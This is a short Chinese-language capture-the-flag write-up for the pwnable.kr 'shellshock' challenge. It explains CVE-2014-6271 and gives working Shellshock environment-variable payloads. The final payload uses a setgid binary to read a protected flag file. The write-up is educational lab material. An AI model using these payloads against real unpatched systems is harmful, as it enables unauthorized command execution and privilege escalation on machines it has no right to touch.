0x0A shellshock
题目描述
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)
ssh shellshock@pwnable.kr -p2222 (pw:guest)
题目代码
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
题目分析
本题主要考察的是破壳漏洞(shellshock)CVE-2014-6271
所以第一步,查阅CVE-2014-6271的资料,http://blog.csdn.net/tinyletero/article/details/40261593
所以该漏洞的利用方式就是
env x=() { :;}; echo vulnerable
在echo vulnerable处可以执行任意代码,所以就想在那里执行cat flag不久可以读出flag了么,那么运行一下命令
env x='() { :;}; ' bash -c "cat flag"
咦?发现说没有权限执行,那么看一下权限
发现flag是属于用户shellshock_pwn的,bash是属于shellshock的
而我们看一下我们是哪个用户
发现是shellshock用户,所以我们没有权限查看shellshock_pwn用户的文件,那怎么办呢?既然出了这题,就肯定有解决的办法,仔细观察这个权限详情,发现了高亮部分的权限是-r-xr-sr-x,其中用户组有一个s
查阅一下有关uid,sid的知识http://www.cnblogs.com/snake-hand/p/3161511.html
发现,当我们执行shellshock的时候,权限会会提升到shellshock_pwn,而flag刚好需要shellshock_pwn的权限,所以更改一下命令
env x='() { :;}; bash -c "cat flag" ' ./shellshock
得到flag